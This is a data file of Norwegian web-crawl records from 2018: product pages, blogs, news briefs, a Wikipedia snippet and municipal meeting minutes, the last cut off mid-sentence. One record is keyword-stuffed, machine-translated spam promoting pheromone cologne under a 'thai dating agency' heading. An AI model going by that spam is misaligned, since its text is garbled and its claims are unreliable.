"language": "no", "__index_level_0__": "7ac24a61-cec3-4097-b5dd-768ca0773ffa"}
{"url": "https://www.bangerhead.no/agent-provocateur-eau-emotionnelle-edt-spray-50ml-no", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:13:32Z", "text": "\n\n\n\n# Agent Provocateur   \n**Agent Provocateur Eau Emotionnelle EDT Spray 50ml**\n\n575 kr / 289 kr  kr \n\nOm produktet *B000989* \n\nDette er en lettere versjon av signaturduften til Agent Provocateur, n\u00e5 i en fl\u00f8rtende og sexy Eau de Toilette. Komposisjonen er nesten den samme, men ikke s\u00e5 sterk og m\u00f8rk. Den spicy og blomstrende duften har blitt lettere med krydder aktig og fruktige toner av rosepepper og vill rosemarin. Basen er lunere og mindre orientalsk, med skog och musk.\n\n|            |                 |\n| ---------- | --------------- |\n| Parfyme:   | Eau de Toilette |\n| St\u00f8rrelse: | 50ml            |\n\n### Vi elsker v\u00e5re kunder\n\n", "language": "no", "__index_level_0__": "bc8ba646-83ee-4d60-9a2c-ae2d692eb2f3"}
{"url": "http://grove-vitser.no/index.php?mact=CGBlog,mf700f,default,1&mf700fnumber=2&mf700fcategory=Grove%20vitser&mf700fpagenumber=11&mf700freturnid=49&page=49", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:10:33Z", "text": "## grovevitser\n\n#### Frekke Vitser og Groviser\n\n# Groviser\n\n*Groviser* og grove vitser sp\u00f8ker om temaer som er \"tabu\" i samfunnet som seksualitet og vold. Her finner du kun de morsomste grove vitsene.\u00a0\n\nBallerina\n\nLitt utp\u00e5 kvelden begynner en enslig herre p\u00e5 bar \u00e5 bli temmelig bedugget. I den andre enden av baren sitter en kvinne i ultrakort miniskj\u00f8rt. Kvinnen l\u00f8fter armen og vinker p\u00e5 bartenderen, og avsl\u00f8rer samtidig en \\*voldsomt\\* h\u00e5rete armhule.  \nHerren b\u00e6ljer til bartenderen, \"Schend meg en drink, og gi ballerinaen der borte en ogsch\u00e5.\"  \nBartenderen sier, \"Hvordan i alle dager vet du at hun er ballerina?\"  \nV\u00e5r venn forklarer, \"Hvem ellers kan l\u00f8fte foten s\u00e5 h\u00f8yt?\"\n\n  \n\n", "language": "no", "__index_level_0__": "19d3538b-ab3f-41fd-bcbd-4e55b2d98bc0"}
{"url": "http://oceanspray.no/Hvem-er-vi-nb/Vart-kooperativ/Traneb%C3%A6rets-historie.aspx", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:09:07Z", "text": "# Traneb\u00e6rets historie\n\n  - \n    \n    Under 2. verdenskrig spiste de amerikanske troppene ca. 500 000 kilo t\u00f8rkede traneb\u00e6r hvert \u00e5r\\!\n\n  - \n    \n    Den f\u00f8rste store registrerte innh\u00f8stingen av traneb\u00e6r fant sted i USA i 1816, i staten Massachusetts.\n\n  - \n    \n    Amerikanerne bruker nesten 200 millioner kilo traneb\u00e6r pr. \u00e5r, hvorav 40 millioner ved Thanksgiving\n\n  - \n    \n    Visste du dette?\n    \n    Noen traneb\u00e6rjorder er i dag over 100 \u00e5r gamle\\!\n\n  - \n    \n    Visste du dette?\n    \n    Traneb\u00e6r flyter i vann p\u00e5 grunn av sm\u00e5 luftlommer som finnes inne i b\u00e6rene.\n\n  - \n    \n    Visste du dette?\n    \n    Dersom alle traneb\u00e6r som dyrkes i Nord-Amerika legges etter hverandre, kunne man danne en linje mellom Boston og Los Angeles over 565 ganger\\!\n\n  - \n    \n    Visste du dette?\n    \n    De innf\u00f8dte indianerne brukte traneb\u00e6r for \u00e5 trekke ut giften av s\u00e5r fra forgiftede piler.\n\n  - \n    \n    Visste du dette?\n    \n    Sj\u00f8folk brukte traneb\u00e6r som C-vitaminkilde for \u00e5 unng\u00e5 mangelsykdommer.\n\n  - \n  - \n    \n    Amerikanerne bruker nesten 200 millioner kilo traneb\u00e6r pr. \u00e5r, hvorav 40 millioner ved Thanksgiving\n\n  - \n    \n    Noen traneb\u00e6rjorder er i dag over 100 \u00e5r gamle\\!\n\n  - \n    \n    Visste du dette?\n    \n    Traneb\u00e6r flyter i vann p\u00e5 grunn av sm\u00e5 luftlommer som finnes inne i b\u00e6rene.\n\n  - \n    \n    Visste du dette?\n    \n    Dersom alle traneb\u00e6r som dyrkes i Nord-Amerika legges etter hverandre, kunne man danne en linje mellom Boston og Los Angeles over 565 ganger\\!\n\n  - \n    \n    Visste du dette?\n    \n    De innf\u00f8dte indianerne brukte traneb\u00e6r for \u00e5 trekke ut giften av s\u00e5r fra forgiftede piler.\n\n  - \n    \n    Visste du dette?\n    \n    Sj\u00f8folk brukte traneb\u00e6r som C-vitaminkilde for \u00e5 unng\u00e5 mangelsykdommer.\n\n## Traneb\u00e6rets historie g\u00e5r flere hundre \u00e5r tilbake.\n\nIndianerne i Nord-Amerika laget pemmikan - en blanding av hjortekj\u00f8tt og traneb\u00e6rmos som kunne holde seg i sv\u00e6rt lang tid. Traneb\u00e6ret er et b\u00e6r de allerede kjente p\u00e5 grunn av b\u00e6rets naturlige egenskaper. Medisinmennene brukte b\u00e6ret i gr\u00f8tomslag for \u00e5 trekke ut giften fra s\u00e5r etter pilspisser. Den m\u00f8rker\u00f8de traneb\u00e6rjuicen fungerte som naturlig fargestoff til tepper, pledd og kl\u00e6r. Indianerne i Delaware, New Jersey, bar ogs\u00e5 traneb\u00e6r som et fredssymbol.\n\nTraneb\u00e6r er en av de f\u00e5 dyrkede fruktene som opprinnelig kommer fra det nord-amerikanske kontinentet (sammen med bl\u00e5b\u00e6r og Concord-druen). B\u00e6ret er kjent under mange navn. Indianerne i \u00f8st kalte det \"\"sassamanesh\"\", mens pequotene p\u00e5 Cape Cod og Leni-Lenape-stammen p\u00e5 South Jersey kalte det \"\"ibimi\"\" eller \"\"bittert b\u00e6r\"\", mens algonkinerne fra Wisconsin brukte navnet \"\"atoqua\"\".\n\nDet var imidlertid f\u00f8rst da de nederlandske og tyske kolonibyggerne d\u00f8pte b\u00e6ret for \"\"traneb\u00e6r\"\" - fordi traneb\u00e6rblomsten likner p\u00e5 hodet og utstikket p\u00e5 en kran (\"\"crane\"\" p\u00e5 engelsk) - at frukten fikk det navnet vi kjenner det under i dag: \"\"cranberry\"\".\n\nLegenden sier at pilegrimene ved den f\u00f8rste Thanksgiving i Plymouth serverte traneb\u00e6r sammen med villkalkun og en rett med mais og b\u00f8nner (succotash). I tiden hvor det var mye utfart av klippere og hvalfangere, benyttet amerikanske sj\u00f8folk seg av b\u00e6ret for \u00e5 beskytte seg mot skj\u00f8rbuk. Under 2. verdenskrig spiste de amerikanske troppene ca.\u00a0500 000 kilo t\u00f8rkede traneb\u00e6r hvert \u00e5r.\n\n", "language": "no", "__index_level_0__": "10c65655-55e1-4800-aa4f-c0ea942b7d97"}
{"url": "http://www.liberaleren.no/2017/07/31/valgkampapning-foran-stortinget/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:23:32Z", "text": "  \n**\".. befriende fritt for kristenkonservativisme, nasjonalisme og innvandringsskepsis.\" H\u00e5kon Haugli, tidl. stortingsrepresentant (Ap)**\n\n# Valgkamp\u00e5pning foran Stortinget\n\nav Bj\u00f8rn Magne Solvik | 31. juli 2017 kl. 15.24 | Ingen kommentarer\n\nDessverre f\u00e5r valgkamp\u00e5pningen til Liberalistene minimalt med oppmerksomhet i medier, men partiet \u00e5pner valgkampen foran Stortinget l\u00f8rdag 12. august. \n\nPartiet skal bruke valgkamp\u00e5pningen til \u00e5 lage en video, en video som blir spredd p\u00e5 sosiale medier.\n\nLiberalistene h\u00e5per frihetsforkjempere fra hele \u00d8stlandet kommer p\u00e5 valgkamp\u00e5pningen. Det er mer informasjon om arrangementet p\u00e5 Facebook.com.\n\nMedieakt\u00f8rer som \u00f8nsker et reelt mangfold i valgkampen, b\u00f8r f\u00f8lge Liberalistene. Et konsekvent parti som ikke kj\u00f8per velgere med skattefinansierte penger. Det gir dessverre lav oppslutning ved valg.\n\n  - ## Kort sagt\n    \n      - **Forslag til ny personopplysningslov**\n        \n        Regjeringen har lagt frem forslag til ny personopplysningslov, if\u00f8lge Justis- og beredskapsdepartementet.\n    \n      - **Betalte for mye penger**\n        \n        Finnmarkssykehuset skulle ha betalt en tysk entrepren\u00f8r 3,6 millioner kroner, men endte opp med \u00e5 betale over 40 millioner. Dette if\u00f8lge NRK.\n        \n        Etter at Finnmarkssykehuset ble klar over at millioner av kroner var p\u00e5 avveie, har de bedt entrepren\u00f8ren om \u00e5 tilbakebetale pengene, uten at det har skjedd.\n    \n      - **Over 140 000 elbiler i Norge**\n        \n        Tallet p\u00e5 registrerte elbiler i Norge var 142 490 ved inngangen til 2018. Det er en \u00f8kning p\u00e5 over 40 prosent fra \u00e5ret f\u00f8r, if\u00f8lge Statistisk sentralbyr\u00e5.\n        \n        Politikerne har gjennom avgiftspolitikken gitt elbiler konkurransefortrinn.\n    \n      - **\u00d8kt grensehandel**\n        \n        Nordmenn brukte 15,1 milliarder kroner p\u00e5 grensehandel i 2017 mot 13,8 milliarder kroner i 2016, if\u00f8lge tall fra Statistisk sentralbyr\u00e5.\n        \n        Norske avgifter vedtatt av Stortinget har mye av \u00e5ren for at utenlandske bedrifter tjener penger p\u00e5 nordmenn. Det er p\u00e5 Stortinget tverrpolitisk enighet om mange avgiftene.\n        \n        Avgifter skal regulere forbruk, men ogs\u00e5 finansiere en gigantisk offentlig sektor.\n    \n      - **Historisk f\u00e5 lovbrudd anmeldt i 2017**\n        \n        Politiet og p\u00e5talemyndigheten registrerte 318 600 lovbrudd i fjor. Det laveste antallet i statistikkens 25-\u00e5rige historie, if\u00f8lge Statistisk sentralbyr\u00e5.\n        \n        Det er mulig \u00e5 bruke tallene p\u00e5 mange m\u00e5ter, alt fra i innvandringsdebatter til politiets krav om flere virkemiddel for \u00e5 bekjempe kriminalitet.\n    \n      - **Rapporteringsplikt for deleplattformer**\n        \n        Finansdepartementet har sendt p\u00e5 h\u00f8ring forslag om en plikt for digitale plattformer til \u00e5 rapportere til Skatteetaten, if\u00f8lge Regjeringen.no.\n    \n      - **Endringer i regjeringsapparatet**\n        \n        Tirsdag morgen trakk Sylvi Listhaug seg som justis-, beredskaps- og innvandringsminister, eller fikk avskjed i n\u00e5de som det heter offisielt. Dette har f\u00f8rt til endringer blant statssekret\u00e6rene, if\u00f8lge Statsministerens kontor.\n        \n        Statsr\u00e5d Per Sandberg har overtatt styret av Justis- og beredskapsdepartementet, i tillegg til det ansvarsomr\u00e5det han i dag har i N\u00e6rings- og fiskeridepartementet.\n    \n      - **Hvordan gikk det med dem som sluttet i petroleumsn\u00e6ringene?**\n        \n        Av dem som sluttet i petroleumsn\u00e6ringene f\u00f8rste halv\u00e5r 2016, var 57 prosent i jobb et halvt \u00e5r senere. Andelen i jobb var minst i Rogaland, if\u00f8lge Statistisk sentralbyr\u00e5.\n    \n      - **En spennende tirsdag**\n        \n        Det er fortsatt sv\u00e6rt f\u00e5 som vet hva statsminister Erna Solberg gj\u00f8r p\u00e5 tirsdag n\u00e5r mistillitsforslaget mot justis-, beredskaps- og innvandringsminister Sylvi Listhaug (FrP) skal opp i Stortinget.\n        \n        Etter landsstyrem\u00f8tet i KrF tyder mye p\u00e5 at Erna Solberg m\u00e5 gi et nytt departement til Listhaug, eller at Listhaug m\u00e5 tilbake til Stortinget. Regjeringen b\u00f8r ikke g\u00e5 av p\u00e5 denne saken\\!\n    \n      - **Det religi\u00f8se Norge endrer seg**\n        \n        Kirkestatistikken til Statistisk sentralbyr\u00e5 viser at f\u00e6rre g\u00e5r i gudstjenester og f\u00e6rre barn blir d\u00f8pt.\n\n  - ## Dagens sitat\n    \n    If a law is unjust, a man is not only right to disobey it, he is obligated to do so.\n    \n    \u2014\u00a0Thomas Jefferson\n\n  - ## St\u00f8tt kampen mot DLD \u00f8konomisk\\!\n    \n", "language": "no", "__index_level_0__": "24a6a5a5-ada4-40b4-9223-58d27186f8a1"}
{"url": "http://akademikerne.no/no/forskning_og_utdanning/-+Humanistene+m%C3%A5+t%C3%B8rre+%C3%A5+ta+plass.b7C_wRnYWa.ips", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:28:00Z", "text": "## \\- Humanistene m\u00e5 t\u00f8rre \u00e5 ta plass\n\nPublisert\u00a016.\u00a0mai\u00a02017\n\nHumanister synes studiet er mindre relevant for arbeidslivet enn andre akademikere. En cybersikkerhets-sjef, en interaksjonsdesigner og en klartekst-gr\u00fcnder fortalte et fullsatt frokostseminar hvordan de har lykkes.\n\n\n\n\\- Vi trenger humanistene for \u00e5 forst\u00e5 fremtidens utfordringer, og har sammen et ansvar for \u00e5 spre deres kompetanse i arbeidslivet. De er skjulte ressurser, sa Kari Sollien, leder av Akademikerne under sitt \u00e5pningsinnlegg.\n\nSammen med Samfunnsviterne inviterte hun i dag til frokostm\u00f8te om humanistenes bidrag til innovasjon og verdiskaping. Foran en fullsatt sal, ledet av ordstyrer Ola Rydje, kommentator i Dagbladet, fikk tre humanister vise deres verdi i praksis. Tone Thingb\u00f8 fra EY, Knut Melv\u00e6r fra Netlife Research og Heidi Bun\u00e6s Eklund fra NTB Arkitekst ga hver p\u00e5 sin m\u00e5te uttrykk for humanistenes verdi, men ogs\u00e5 utfordringer.\n\n\\- En m\u00e5 t\u00f8rre \u00e5 ta plass, og gripe mulighetene, sa Tone Thingb\u00f8 under sitt innledningsforedrag.\n\nHun tok tilh\u00f8rerne med p\u00e5 en reise fra russiske kulturstudier, via Forsvaret til hennes n\u00e5v\u00e6rende arbeid som sjef for cybersikkerhet i EY.\n\nUnders\u00f8kelser utf\u00f8rt av Nordisk institutt for studier av innovasjon, forskning og utdanning (NIFU), viser at humanister er mindre forn\u00f8yd med utdanningens relevans for arbeidslivet enn andre.\n\nReligionsviter Knut Melv\u00e6r utfordret humaniora og akademia til \u00e5 g\u00e5 i seg selv, og \u00e5pne seg mer mot n\u00e6ringslivet.\n\n\\- Kanskje det ikke er samfunnet det er som er problemet, kanskje det er humaniora, sa Melv\u00e6r under m\u00f8tet.\n\nHeidi Bun\u00e6s Eklund snakket om firmaet sitt hun har v\u00e6rt med p\u00e5 \u00e5 starte, NTB Arkitekst og hvordan humanistkompetansen kommer til nytte for store kunder.\n\n\\- Som nyutdannet humanist tenkte jeg nytt og \u00f8nsket \u00e5 gj\u00f8re noe relatert til spr\u00e5k. Men, vi var jo n\u00f8dt til \u00e5 finne noen som \u00f8nsket \u00e5 betale penger for produktet v\u00e5rt, sa Bun\u00e6s Eklund.\n\nMerete Nilsson, leder av Samfunnsviterne, avsluttet frokostseminaret:\n\n\\- Dette m\u00f8tet har handlet om \u00e5 vise praktiske eksempler p\u00e5 hva humanisten gj\u00f8r i arbeidslivet, ikke bare \u00e5 snakke om det. Jeg tror innlederne b\u00e5de har inspirert og f\u00e5tt oss til \u00e5 tenke.\n\n", "language": "no", "__index_level_0__": "24765bf3-f20c-4b4c-9a0f-2ad00a331ff5"}
{"url": "http://groruddalen.no/kultur/kjernen-av-granittrock/19.23310", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:10:28Z", "text": "## Kjernen av Granittrock\n\n\n\nBEINHARDT: Golden Core leverte heftig metal p\u00e5 ungdomsscenen.\n\nAmmerud-duoen Golden Core har rocka seg inn i metal-bevisstheten p\u00e5 kort tid, og viste p\u00e5 Granittrock at de gode kritikkene er s\u00e6rdeles velfortjente.\n\n", "language": "no", "__index_level_0__": "236f116b-33e5-4ac5-9624-09da3afe4629"}
{"url": "http://svatei.ru/meewe/621-thai-dating-agency/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:33:38Z", "text": "Feromon duft har vise seg \u00e5 v\u00e6re en godt likt form av lukt i midten av en masse befolkningen, f\u00f8rst og fremst i midten av mannen. Dette v\u00e6re thai dating siden agency av forsikre med stigende sitt gode utseende fortsatt thai dating agency selv om de v\u00e6re kort av \"inntekt\" avgj\u00f8rende i thai dating agency retning av \u00e5 trekke damene. Pluss om mange inneholde motsatt i retning av effektiviteten dating thai agency av feromon avling, mye ekspert vil friskt fordi brukeren har ment eller annet.\n\nF\u00f8lgelig kommer igjen? v\u00e6re Pheromone?  \nFeromon v\u00e6re et stoff vanligvis skilles skjult p\u00e5 annet som kunne aktivere et felles svar innenfor medlem av lignende klassen. Men vanligvis kobles sammen ved hjelp av flora og fauna samt insekt, menneskelig ogs\u00e5 utstr\u00e5ler slik kjemikalie som deltar i **thai dating agency** rekreasjon en sv\u00e6rt viktig posisjon inne tiltrekke seg motstridende kj\u00f8nn.\n\nEiendeler av Person Pheromones  \nFortsatt lurer p\u00e5 hvorfor flere av oss v\u00e6re flink i retning av uten problemer trekke motstridende kj\u00f8nn fortsatt selv om de v\u00e6re kort av ansikts verdt ellers evne i retning av gi luksuri\u00f8se hjelp? Enkelt avklaring slik at en rekke forskere inneholde samle skarp frav\u00e6rende slik skarp niv\u00e5 av feromoner teater en sv\u00e6rt viktig posisjon inne tiltrekke seg motstridende kj\u00f8nn, f\u00f8rst og fremst ment for mannen tiltrekke kvinner.\n\nSiden av dette, har mange forskere pluss forskere thai dating agency n\u00f8dvendig ment for vaner i retning av \u00e5 m\u00f8te disse kjemiske pluss ansette det fordi inntekten stiger enslig tiltrekning ellers god ser mot motstridende kj\u00f8nn. Feromon avling, for eksempel fordi feromon duft, v\u00e6re singel **thai agency dating** personer som formes gjennom eksistensen av testing inne styrken av feromoner inne felles kommunikasjon.\n\nVinne Crop  \nGodt likt pluss vinne feromon crop oppn\u00e5elig i dag v\u00e6re personer som av LuvEssentials.com, som har altfor f\u00e5 en gruppe of fame pluss prestasjon hver og en i overkant av jorden pluss har for konvensjonelle optimistisk vurdering thai dating agency som av sammen ekspert pluss forn\u00f8yde kunder.\n\nAnnet enn **thai dating agency** mer enn n\u00e5 fordi en form for moderne f\u00f8lelse hengivenhet for flytende middel, feromon avling kunne ogs\u00e5 eksistere annenh\u00e5nds ment thai dating agency for en figur av ytterligere form\u00e5l som tillater brukeren i retning av \u00e5 gj\u00f8re sv\u00e6rt godt inne i sitt liv.\n\nEkstra godt likt Bruk av Pheromone Crop  \nSelv feromon avling, for eksempel fordi cologne, inneholde v\u00e6re allment brukt ment for \u00e5 tiltrekke seg thai dating agency motstridende kj\u00f8nn, ment for ogs\u00e5 f\u00f8le hengivenhet for ellers one-night stand, mye inneholder ogs\u00e5 brukt feromoner beregnet for ekstra form\u00e5l, for eksempel fordi gangen et verk.\n", "language": "no", "__index_level_0__": "c1aca34a-a5d3-44be-901d-12a0a0075018"}
{"url": "https://no.wikipedia.org/wiki/Orrin_Hatch", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-25T00:09:38Z", "text": "Han stilte til valg til Senatet i 1976, i sin f\u00f8rste politiske kampanje noensinne, og vant. Han har siden blitt gjenvalgt seks ganger med stor margin. I 2000 stilte Hatch som presidentkandidat for det republikanske nominasjonsvalget, men tapte for George W. Bush.\n\n", "language": "no", "__index_level_0__": "303f7ddf-440a-4f7b-b31c-5f45512c1d16"}
{"url": "http://oysteinj.typepad.com/weblog/2009/01/the-long-road-home.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:33:38Z", "text": "# Oystein Johannessens blog\n\n## En bloggonaut deler tanker og kunnskap. NB: Dette er min private blogg som ikke reflekterer arbeidsgivers og oppdragsgiveres synspunkter og meninger. Min epost: email@example.com\n\n## January 16, 2009\n\n### The long road home\n\nVeien hjem fra LATWF og BETT ble lang. For f\u00f8rste gang hadde jeg valgt \u00e5 fly til Londinum via London City Airport som ligger i Docklands \u00f8st i London. P\u00e5 vei ut til flyplassen tikket det inn en sms om at flyet til Oslo var kansellert. Jeg var f\u00e5 minutter unna flyplassen. P\u00e5 flyplassen fikk jeg beskjed om at jeg m\u00e5tte til Heathrow. Sammen med to andre herrer var det s\u00e5 i stor fart i limo gjennom Londons gater - en grei sightseeing en fredag ettermiddag. Vi kom oss til Heathrow p\u00e5 litt under timen. Det er bra.\n\n\u00a0\nFremme p\u00e5 Heathrow kom s\u00e5 neste \"smell\". F\u00f8rste fly var selvsagt fullt, s\u00e5 jeg fikk billett p\u00e5 siste fly til Oslo. Jeg fant en krok p\u00e5 et kj\u00e6rt gammelt vannhull, O'Neills (der og da f\u00f8ltes det veldig som hjemme), jeg kom p\u00e5 nett og tiden gikk fort. Flyet til Gardermoen var helt fullt, og vi m\u00e5tte vente lenge f\u00f8r vi kunne ta av. S\u00e5 - ytterligere forsinkelser - hjemkomst via siste tog ut til Sonatoriet. \n\n\u00a0\nOslo S ved midnattstider er et av de tristeste steder jeg vet om. Rigshovedstaden har en sentralstasjon som er s\u00e5 creepy at vi ikke kan v\u00e6re bekjent av det. I disse motkonjunkturtider kunne man virkelig gi dette viktige knutepunktet som noen av oss passer to ganger pr dag et tiltrengt l\u00f8ft. \n\n", "language": "no", "__index_level_0__": "f85b40f4-9945-486e-8bb3-85969abd6149"}
{"url": "http://www.marineholmen.com/aktuelt/salmon-group-flytter-til-marineholmen/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:31:43Z", "text": "  - Salmon Group flytter til Marineholmen\n\n\nVi \u00f8nsker Salmon Group velkommen som leietaker i Merkantilen p\u00e5 Marineholmen fra h\u00f8sten 2017.\n\nSalmon Group er et nettverk for lokale, familieeide oppdrettsselskaper. Selskapet har sin base i Bergen, og yter service til 45 aksjon\u00e6rer langs nesten hele norskekysten. De bidrar sterkt til forskning og kunnskapsdeling b\u00e5de i sitt nettverk, men ogs\u00e5 generelt i den marine klyngen, og jobber for \u00e5 v\u00e6re en viktig bidragsyter til det \u00f8kende behovet for fisk og protein p\u00e5 verdensbasis.\u00a0\n\n### Nyttig \u00e5 flytte til milj\u00f8et\n\n\u2013\u00a0*Salmon Group ser stor nytte av \u00e5 fysisk flytte sammen med et milj\u00f8 som har h\u00f8yt fokus p\u00e5 forskning og utvikling av n\u00e6ringen i en retning som fokuserer p\u00e5 b\u00e6rekraft og teknologisk innovasjon.\u00a0 Dette st\u00e5r helt i stil med v\u00e5r egen visjon om \u00e5 utvikle Salmon Group-nettverket med en fremoverlent holdning til de utfordringer n\u00e6ringen st\u00e5r ovenfor, sier Adm. Dir. i Salmon Group, Anne-Kristine \u00d8e, i en pressemelding p\u00e5selskapets nettsider.*\n\n#### Marineholmen\u00a0tilrettelegger for klyngevirksomhet\n\nMarineholmen er Norges st\u00f8rste samling av marin kompetanse og med Salmon Group lokalisert her blir milj\u00f8et ytterligere styrket. Vi har stor tro p\u00e5 effekten av \u00e5 samle gr\u00fcndere, studenter, forskere, forvaltning og n\u00e6ring innen det marine og maritime. N\u00e6rhet gj\u00f8r at mennesker lettere m\u00f8tes og utvikler ny kunnskap og nye ideer, sier Tor Instanes, administrerende direkt\u00f8r i Marineholmen Forskningspark og GC Rieber Eiendom.\n\nGjennom \u00e5 legge til rette for klyngevirksomhet kan Marineholmen bidra til at ideer og resultater raskere kan bli til kommersiell virksomhet. Forskningsparken ble stiftet i 1988, med form\u00e5l \u00e5 knytte n\u00e6ringsliv og forskning tettere sammen. De senere \u00e5r har omr\u00e5det opplevd stor \u00f8kning i leietakere innen marine n\u00e6ringer og ser resultater av klyngevirksomhet i praksis. Ikke minst er studentene viktig; med Universitetet i Bergen og Handelsh\u00f8yskolen BI i omr\u00e5det, er kompetansebedriftene i den marine kunnskapsklyngen sikret stadig tilgang p\u00e5 nye talenter og oppdatert kunnskap.\u00a0\n\n\u00a0\n", "language": "no", "__index_level_0__": "f7544804-08ec-4370-b110-4a2f1dcf5586"}
{"url": "http://papirdilla.blogspot.com/2011/03/hipp-hipp-hurra.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:25:30Z", "text": "## onsdag 9. mars 2011\n\n### Hipp hipp Hurra\\!\\!\\!\\!\\!\\!\n\n  \nI dag er det *fr\u00f8ken* **Amalie**s dag\\!\n\n  \n\n\n  \n\u00a0Gratulerer med 11 \u00e5rsdagen din\\!\\!\n\n  \nKjempeglad i deg, kj\u00e6re jenta v\u00e5r\\!\n\n  \nBursdagsklem fra\u00a0 pappa og mamma\n\nOg en blaut nuss fra Tira\n\n  \n\nDagen blir i \u00e5r feiret opptil flere ganger, i kvellingen kommer bestemor og bestefar p\u00e5 kake og kaffe. Og kanskje kommer det en overraskelse ogs\u00e5....i en eller annen form.  \n*Hemmeligheter* er lov n\u00e5r det er bursdag\\!\\!\n\n  \n*- blogget mens mamma ventet p\u00e5 at deler av kortet ditt skulle t\u00f8rke... -*\n\n  \n Lagt inn av  \nBerit  kl. \n00:28         \n\n Etiketter: A, bursdag \n1.  \n    \n    Scrappelise9. mars 2011 kl. 05:03\n    \n    Hipp, hipp Hurra for Amalie, gratulerer s\u00e5 mye med bursdagen din\\! Kos deg hele dagen\\!\n    \n2.  \n    \n    MonaV9. mars 2011 kl. 07:25\n    \n    Hipp hurra for bursdagsjenta.  \n    I dag skal du bare kose deg Amalie\\!\\!\n    \n3.  \n    \n    Ann Kristin9. mars 2011 kl. 09:14\n    \n    Gratulerer s\u00e5 mye med 11 \u00e5r\\`s dagen Amalie\\!\\!\\!\\!.  \n    Blir vel en liten klem fra meg til deg i morgen, for da sees vi p\u00e5 skolen..  \n      \n    Ha en super bursdag.  \n      \n    Klem fra Ann Kristin\n    \n4.  \n    \n    RitaK9. mars 2011 kl. 09:26\n    \n    Gratulerer med dagen, og Tassen sender en vofsekos :-)\n    \n5.  \n    \n    Marthe10. mars 2011 kl. 00:18\n    \n    Gratulerer :-))\n    \n", "language": "no", "__index_level_0__": "84f414fd-215a-4af3-8e1b-fb5fe8561e54"}
{"url": "http://docplayer.me/465987-Referat-kontrollutvalgets-mote-12-mai-2015-med-forbehold-om-godkjenning-i-neste-mote.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:33:55Z", "text": "\n\n\n\n3 Spesielle \u00f8konomiske utfordringer er bl.a. knyttet til svikt i skatteinngangen, noe som synes \u00e5 fortsette innev\u00e6rende \u00e5r. Kommunen har h\u00f8y l\u00e5negjeld, men deler av denne gjelder investeringer innen vann- og avl\u00f8psomr\u00e5det, hvor l\u00e5nekostnader blir finansiert gjennom brukerbetalinger. Kontrollutvalgets uttalelse til Drammen bykasses \u00e5rsregnskap for 2014 sendes bystyret med kopi til formannskapet. SAK 37/15 \u00c5rsregnskapet til Drammen kommunes l\u00e5nefond for 2014 I f\u00f8lge \u00f8konomisjef Paulsen var resultatet til l\u00e5nefondet bedre enn budsjettert, noe som kommer bykassen til gode. Det forg\u00e5r l\u00f8pende vurdering av fordeling av l\u00e5nene mellom fast og flytende rente. Kontrollutvalget har ingen kommentarer til Drammen kommunes l\u00e5nefond sitt \u00e5rsregnskap for SAK 38/15 Finansforvaltningen 2014 uttalelse fra revisjonen Finansreglementet vil bli fulgt opp i innev\u00e6rende \u00e5r, hvor ogs\u00e5 inntektssiden av reglementet m\u00e5 vurderes. I f\u00f8lge revisor Fredriksen inneb\u00e6rer revisjonens attestasjon en kontroll av riktigheten av \u00e5rsrapporten samt en vurdering av at finansforvaltningen er i samsvar med lov- og regelverk. Revisjonen hadde ingen merknader til rapporten. Kontrollutvalget tar Rapport finansforvaltning 2014 og revisjonens uttalelse om denne til orientering SAK 39/15 \u00c5rsregnskapet til Drammen Eiendom KF for 2014 \u00c5rsregnskapet til Drammen Eiendom KF viste i 2014 et overskudd i st\u00f8rrelsesorden 82 mill. kroner som er ca. 12 mill. kroner h\u00f8yere enn budsjettet. I f\u00f8lge \u00f8konomisjef Paulsen skyldes resultatet salg av fast eiendom. Gevinstene medg\u00e5r i utgangspunktet til finansiering av nye investeringer. Foretaket har god likviditet. Kontrollutvalget reiste sp\u00f8rsm\u00e5l om det forel\u00e5 rettskraftig dom ved klage av foretaket til KOFA (klagenemnda for offentlige anskaffelser), men \u00f8konomisjefen kjente ikke til hvorvidt den forel\u00e5. 3\n\n\n\n4 Revisor Fredriksen viste for \u00f8vrig til at dette er omtalt i note til regnskapet. Vedtak: Kontrollutvalgets uttalelse til \u00e5rsregnskapet for Drammen Eiendom KF 2014 sendes bystyret SAK 40/15 \u00c5rsregnskapet til Drammen Kj\u00f8kken KF for 2014 Foretaket hadde i 2014, if\u00f8lge \u00f8konomisjef Paulsen, et godt \u00e5r med \u00abgrei\u00bb \u00f8konomi. Kommunen gir tilskudd til foretakets kantinedrift. Kontrollutvalgets uttalelse til \u00e5rsregnskapet for Drammen Kj\u00f8kken KF 2014 sendes bystyret SAK 41/15 \u00c5rsregnskapet til Drammen Parkering KF for 2014 \u00c5rsresultatet for 